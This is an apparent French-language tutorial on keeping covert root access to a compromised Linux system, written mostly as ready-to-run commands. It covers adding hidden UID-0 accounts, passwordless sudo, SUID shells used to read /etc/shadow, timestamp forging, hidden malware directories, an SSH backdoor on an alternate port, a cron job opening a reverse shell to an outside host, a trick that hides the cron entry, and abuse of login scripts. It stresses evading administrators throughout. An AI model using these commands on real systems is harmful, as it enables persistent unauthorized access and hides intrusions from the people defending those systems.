Accès administrateur déjà obtenu
- Création de comptes
1.1. Création d'un compte avec mot de passe personnalisé
Dans Linux, toutes les informations utilisateur sont stockées dans le fichier /etc/passwd. En tant qu'administrateur, on peut modifier ce fichier pour ajouter un compte.
Utiliser l'algorithme de chiffrement de Linux pour générer le mot de passe correspondant.
Mot de passe chiffré:
motdepasse@123-->xyzabc/9yU5yQ
Commande pour créer le compte ou copier directement dans le fichier passwd:
echo "testuser:xyzabc/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
Test de connexion:
Connexion réussie
1.2. Création directe d'un compte administrateur
# Création du compte
useradd -o -u 0 -g 0 admin_secret
# Définition du mot de passe
passwd
motdepasse@123
1.3. Configuration du fichier sudoers
Modifier le fichier de configuration /etc/sudoers pour définir les privilèges utilisateur:
admin_secret ALL=(ALL) NOPASSWD:ALL
En exécutant la commande avec sudo, elle s'exécutera avec les privilèges administrateur.
1.4. Compte standard avec permissions SUID
1.4.1. Ajout de la permission s à des commandes existantes:
chmod u+s /bin/bash $ bash -p
chmod u+s /bin/sh $ sh -p
chmod u+s /bin/env $ env /bin/sh -p
chmod u+s /bin/vi $ vi /etc/shadow
chmod u+s /usr/bin/find $ find /etc/passwd -exec cat /etc/shadow \\;
Inconvénient: facile à détecter.
1.4.2. Création d'un utilisateur standard avec SUID:
# Création d'un utilisateur standard
useradd john_doe
passwd john_doe
motdepasse1234
# Copie du bash avec les droits root
cp /bin/bash /tmp/.shell
ll -a /tmp
chmod 4755 /tmp/.shell
# Exécution avec l'utilisateur standard
/tmp/.shell
# Test:
Avantage: méthode difficile à détecter pour l'administrateur
- Modification des attributs de fichiers
2.1. Modification des horodatages de fichiers
Les administrateurs peuvent identifier les fichiers potentiellement modifiés par un attaquant en vérifiant les fichiers récemment modifiés. Pour maintenir l'accès, on modifie les horodatages des fichiers.
Recherche de fichiers par date avec find:
find / -atime -5 | grep backdoor # Recherche des fichiers modifiés il y a 5 jours contenant "backdoor"
-atime [+|-]# Temps d'accès access
-mtime [+|-]# Temps de modification modify
-ctime [+|-]# Temps de création create
# Interprétation:
-# indique [0,#)
# indique [#,#+1)
+# indique [#+1,∞]
Exemple: #=3 signifie:
-3: dans les 3 jours (72h)
3: pendant le 4ème jour
+3: après le 4ème jour
Expérimentation:
# Création d'un fichier malveillant: backdoor_5555.elf
# Modification du temps d'accès
touch -r /root/anaconda-ks.cfg ./backdoor_linux.elf
# Modification du temps d'accès et de modification du fichier b.txt au 12 août 2022 à 8h00
touch -t 202208120800.00 backdoor_linux.elf
Vérification:
stat nom_fichier
2.2. Création de fichiers cachés
Dans Linux, chaque répertoire contient deux répertoires fixes.
Vérification:
# Avec ll -a
On ne peut pas créer de répertoires nommés .. ou .
Comme les utilisateurs Linux connaissent généralement cette information, on crée des répertoires nommés ... .... pour les cacher:
mkdir /home/.../...
# Déplacement du malware dans le répertoire caché ...:
# Attribution des droits d'exécution: chmod u+x xxxxx
2.3. Verrouillage de fichiers
Cette méthode exploite le comportement habituel des utilisateurs: si un fichier ne peut pas être supprimé, on suppose qu'il s'agit d'un fichier système.
La commande chattr modifie les attributs cachés des fichiers ou répertoires, réservée à l'utilisateur root.
Expérimentation:
# chattr [+] [attribut] nom_fichier ou répertoire
touch test.txt
chattr +i test.txt
- Backdoors SSH
3.1. Backdoor par lien symbolique
Ouvrir un port sur le système via le service SSH pour une connexion ultérieure.
Expérimentation:
# Vérification de l'utilisation du port SSH 22
netstat -antp | grep 22
# Si on utilise le port 22 pour un backdoor, il est facilement détetcable.
# Création d'un lien symbolique pour un port alternatif:
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=7777
# Connexion depuis Windows
Conneixon réussie
# Vérification si visible via le port 22
Non détectable
3.2. Connexion invisible
La connexion invisible n'apparaît pas dans les commandes who, w, last, mais reste visible dans netstat -antp. Méthode limitée, à titre informatif.
Expérimentation:
# Création d'un utilisateur standard: stealth_user
# Commande:
ssh -T stealth_user@xxx.xxx.xxx.xxx /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T stealth_user@xxx.xxx.xxx.xxx /bin/bash -i
3.3. Authentification par clé publique/privée
Précédemment traité dans un article sur l'escalaed de privilèges Linux.
- Tâches planifiées (crontab)
Les tâches planifiées dans Linux sont des commandes exécutées automatiquement à des intervalles définis.
Création d'une tâche planifiée de reverse shell:
# Affichage des tâches planifiées
crontab -e
# Ajout d'une tâche planifiée
*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1'
# Cette tâche s'exécute toutes les minutes
Création d'une tâche exécutant un malware:
35 * * * * /usr/share/icons/gnome/scalable/devices/backdoor_linux_reverse_tcp_64.elf
Cache des tâches planifiées:
# Les tâches précédentes sont faciles à détecter, il faut les cacher
(printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1';\rno crontab for whoami%100c\n")|crontab -
# Exécution dans le terminal pour créer une tâche cachée, non visible avec crontab -l
# Mais visible dans le fichier de stockage des tâches
cat -A /var/spool/cron/root
- Fichiers de démarrage automatique
Dans Linux, certains fichiers sont chargés automatiquement au démarrage ou à la connexion, et peuvent être exploités par un attaquant.
/etc/rc.d/rc.local: exécuté au démarrage du système, /etc/rc.local est un lien symbolique.
/etc/profile: définit les informations environnementales pour chaque utilisateur, exécuté lors de la première connexion.
/etc/bashrc: exécuté pour chaque utilisateur lançant un bash shell.
~/.bash_profile: informations spécifiques à l'utilisateur, exécuté une fois à la connexion.
~/.bashrc: informations spécifiques au bash shell de l'utilisateur, lu à la connexion et à chaque nouveau shell.
~/.bash_logout: exécuté à chaque déconnexion.
Les trois derniers sont des fichiers cachés.
Expérimentation:
# Ouverture de /etc/profile
# Ajout du programme souhaité, exécuté automatiquement à la connexion
Par exemple: chmod u+s /usr/bin/bash
Après redémarrage et connexion, la commande s'exécute.